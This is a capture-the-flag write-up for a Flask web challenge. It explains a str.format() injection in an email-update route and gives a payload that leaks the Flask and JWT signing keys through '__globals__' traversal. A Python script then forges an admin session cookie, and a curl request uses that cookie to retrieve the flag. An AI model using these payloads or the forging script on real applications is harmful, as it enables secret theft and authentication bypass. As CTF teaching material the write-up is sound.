Statement #
knock knock…
http://chal.competitivecyber.club:1337
Author: sans909
Overview #
The challenge provides the application’s source code. The complete tree is not required for the solution, but it helps locate the routes and utilities used later.
Show file tree
.
├── build-docker.sh
├── challenge
│ ├── app.py
│ ├── blueprints
│ │ ├── api_routes.py
│ │ └── web_routes.py
│ ├── config.py
│ ├── database.py
│ ├── requirements.txt
│ ├── run.py
│ ├── static
│ ├── templates
│ │ ├── 403.html
│ │ ├── 404.html
│ │ ├── admin.html
│ │ ├── base.html
│ │ ├── home.html
│ │ ├── login.html
│ │ ├── personal-logs.html
│ │ ├── register.html
│ │ └── update-email.html
│ └── util.py
├── config
│ └── supervisord.conf
├── Dockerfile
└── entrypoint.sh
5 directories, 21 filesThe website has login and registration pages. Once logged in, four additional routes are accessible:
/home/update-email/update-logs/logout
The two interesting routes are /update-email, which changes the email address, and /update-logs, which displays the change history. The objective is to reach /admin with the admin role: that route then retrieves the flag from the FLAG environment variable.
@web.route('/admin')
@is_admin
def admin_home():
flag = current_app.config['FLAG']
return render_template('admin.html', flag=flag)Solution #
Identifying the vulnerable format string #
The /update-email route, defined in api_routes.py, builds the message stored in the logs:
@api.route('/update-email', methods=["POST"])
@is_authenticated
def update_email():
if not request.is_json:
return abort(400, 'Invalid POST format!')
data = request.get_json()
new_email = data.get('email', '')
if not is_valid_email(new_email):
return abort(401, 'Invalid Email')
# Get old email address
token = session.get('auth')
decoded_token = verify_JWT(token)
old_email = decoded_token["email"]
# Logging Data
time = datetime.now()
update_date = time.strftime("%Y-%m-%d %H:%M:%S")
log_text = f"Email updated to {new_email} at {update_date}"
log_text = log_text.format(new_email=new_email, timestamp=timestamp, update_date=update_date)
# Update users
call_procedure("update_user_email", (old_email, new_email))
# Insert Logs
log_text = escape_html(log_text)
call_procedure("insert_log", (new_email, log_text))
# Log out of the page
session['auth'] = None
return redirect(url_for('web.logout'))new_email is first interpolated into an f-string, then the result is interpreted a second time by str.format(). An address containing braces therefore becomes a user-controlled replacement field.
Three objects are exposed to format(): new_email, timestamp, and update_date. The most interesting one is the timestamp function, defined in util.py:
from functools import wraps
from flask import abort, session
import hashlib
import os
import jwt
import datetime
import re
def generate_key(x): return os.urandom(x).hex()
FLASK_SECRET_KEY = generate_key(256)
jwt_key = generate_key(256)
[...]
def timestamp():
return datetime.now()The replacement-field syntax of str.format() allows attribute and index traversal. Starting from timestamp, timestamp.__globals__ therefore exposes the global variables of the util.py module, including FLASK_SECRET_KEY and jwt_key.
The payload remains a valid email address while triggering that traversal:
{timestamp.__globals__}@aThe @a suffix is required because the submitted value must also match the is_valid_email() regex:
email_regex = r'([#-\'*+/-9=?A-Z^-~-]+(\.[#-\'*+/-9=?A-Z^-~-]+)*|"([]#-[^-~ \t]|(\\[\t -~]))+")@([#-\'*+/-9=?A-Z^-~-]+(\.[#-\'*+/-9=?A-Z^-~-]+)*|\[[\t -Z^-~]*])'
if re.fullmatch(email_regex, email, re.IGNORECASE):
return True
return FalseAfter the update, the formatted value can be read in the logs and reveals both secrets:
Email updated to {'__name__': 'util', [...],
'FLASK_SECRET_KEY': 'c52c9fb7150d32b182ef3c0f1b07c26d37762e72e872a41110639e8688f25b0108e836732f740a5fe00f37a2fcc7398dbe0d8d50b51876549e45497003d852b94fb45c943bf36f05935911935e06c7d761f3419934609f97ed2559c777b8a647dcca1d718382c1dbb242c4cfd09e14c68be93e8ed94ff6f2d07a787ac776cebdd97139e396fc0e6e11397f674e20eaa0bedaa55b861a3712f762add6c3ccfb8aede6427326deaec5519bb0c7b1e186d8f6d869cc7d79143537ee5846dfebd153145b5090914a089db16cd158b27505f9c9c487a2da010a846433fbbc23668e93f290e8f7bf5e8f71891eb427d1a21f961a84ad48713ddb6f235c8f8b979f2e0d',
'jwt_key': '6fe660af3a43ef98147a3ea199e9dbe8b2b387ddaec723d6e9ca1124c7804a85fb9ae03696cad277221b9fbd15bb495314d3d4bfba103cd672bde9a3c0c3edb5ba3730aa6a169b593c24d2f507fbcdc3c8ef3648d295a51987b3774993b0852d866d1c15683f3a35bd45019c2c355548cefdd70a640ef850a4bf3371100fb69f74f9143c3968302d8fba9ca64d456ce6cfb07982b5e35be04abdd273e5eceab1a661b3190bdb369c7aa96c10553acfceb23a1d9d9a534e485c2ee32d57dbb7d93fda63c860432dbf25b1b6f78f2e625feac6fd56d2bddc70919514ff39a22ee473731716ae79340dae269753bcd354516c3361e872275ba022cb303140c4eca7',
[...], 'escape_html': <function escape_html at 0x7f5accdaf4c0>}@a at 2024-09-24 19:15:19Another approach is to read
FLAGdirectly through theosmodule, imported inutil.py, with{timestamp.__globals__[os].environ[FLAG]}@a.
Forging an administrator session #
Authentication relies on two signatures. jwt_key creates the JWT containing the admin role, while FLASK_SECRET_KEY lets Flask sign the session cookie carrying that JWT.
The following script reuses the application’s create_JWT() function, places the forged token in session['auth'], and lets Flask produce a valid cookie:
import datetime
import jwt
from flask import Flask, session, request
# FLASK_SECRET_KEY and jwt_key leak
# {timestamp.__globals__}@a
app = Flask(__name__)
app.config['SESSION_COOKIE_HTTPONLY'] = False
app.config['SECRET_KEY'] = 'c52c9fb7150d32b182ef3c0f1b07c26d37762e72e872a41110639e8688f25b0108e836732f740a5fe00f37a2fcc7398dbe0d8d50b51876549e45497003d852b94fb45c943bf36f05935911935e06c7d761f3419934609f97ed2559c777b8a647dcca1d718382c1dbb242c4cfd09e14c68be93e8ed94ff6f2d07a787ac776cebdd97139e396fc0e6e11397f674e20eaa0bedaa55b861a3712f762add6c3ccfb8aede6427326deaec5519bb0c7b1e186d8f6d869cc7d79143537ee5846dfebd153145b5090914a089db16cd158b27505f9c9c487a2da010a846433fbbc23668e93f290e8f7bf5e8f71891eb427d1a21f961a84ad48713ddb6f235c8f8b979f2e0d'
jwt_key = '6fe660af3a43ef98147a3ea199e9dbe8b2b387ddaec723d6e9ca1124c7804a85fb9ae03696cad277221b9fbd15bb495314d3d4bfba103cd672bde9a3c0c3edb5ba3730aa6a169b593c24d2f507fbcdc3c8ef3648d295a51987b3774993b0852d866d1c15683f3a35bd45019c2c355548cefdd70a640ef850a4bf3371100fb69f74f9143c3968302d8fba9ca64d456ce6cfb07982b5e35be04abdd273e5eceab1a661b3190bdb369c7aa96c10553acfceb23a1d9d9a534e485c2ee32d57dbb7d93fda63c860432dbf25b1b6f78f2e625feac6fd56d2bddc70919514ff39a22ee473731716ae79340dae269753bcd354516c3361e872275ba022cb303140c4eca7'
def create_JWT(email: str, role='regular'):
utc_time = datetime.datetime.now(datetime.timezone.utc)
token_expiration = utc_time + datetime.timedelta(minutes=1000)
data = {'email': email, 'exp': token_expiration, 'role': role}
encoded = jwt.encode(data, jwt_key, algorithm='HS256')
return encoded
@app.route('/')
def get_token():
email = request.args.get('email') if request.args.get('email') else '[email protected]'
role = request.args.get('role') if request.args.get('role') else 'admin'
session['auth'] = create_JWT(email, role)
return '<script>document.write(document.cookie)</script>'
app.run()Opening the script’s local route makes the browser receive the signed session:
session=.eJxFzMsKgkAYhuF78QLEU5YtS5RfUDHN0yacUXF0RoTRaozuPV21-DYvH89Hqpa5k85SI7wOuZiExIP7CmpAgMN4O-ArmDBMeXr1LHk7UZQ5E9ojcwaU0SVygyfKL7R2qVLlJS10SsoclkJ7q8WOsNTYET_BIlhB2yZ88SKYWbyM_w6Mimz4TeoAZ1x9hLXZJjw6xqPbNGEr5r4PDL1WEu1k22wypO8PPjc_Hg.ZvMXNw.B3RDEy103cr1ZjNcEvk6aiVTzv4Exploitation #
All that remains is to send this cookie to the /admin route:
$ curl -H "Cookie: session=.eJxFzEsOgjAUQNG9sAACqCQ4QxLwoVSUX2FGK5FCSwg_BePelZHTm5vzlvJxKKW9VMxuSRzKLsyFaAEVMeihue2oBTrULY4t15B_EyeJ3ZI1CrsmCR-vDpoIPvC7w5UcZzzdcJZhGFPtpaYrIuLtinghndECGlpqFc1PRoXRZ8HfgUaRhSmGU-AXFIe62UxdB2c_MQbPL_GoWOxhiyLxlOq4VJH0-QJDVT_K.ZvMaFQ.SeRPsegU7phX7Hdjx20Q8SZ1G8s" http://chal.competitivecyber.club:1337/admin
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Admin Page</title>
</head>
<body>
<h1>Admin Page</h1>
<p>The flag: pctf{str_f1rm4t_1s_k1nd8_c00l_7712817812}</p>
</body>
</html>FLAG: pctf{str_f1rm4t_1s_k1nd8_c00l_7712817812}
Conclusion #
The vulnerability comes from interpreting user-controlled data a second time with str.format(). Traversing timestamp.__globals__ reveals both required secrets: one signs the administrator JWT, and the other signs the Flask session carrying it. Once both layers are forged correctly, /admin returns the flag.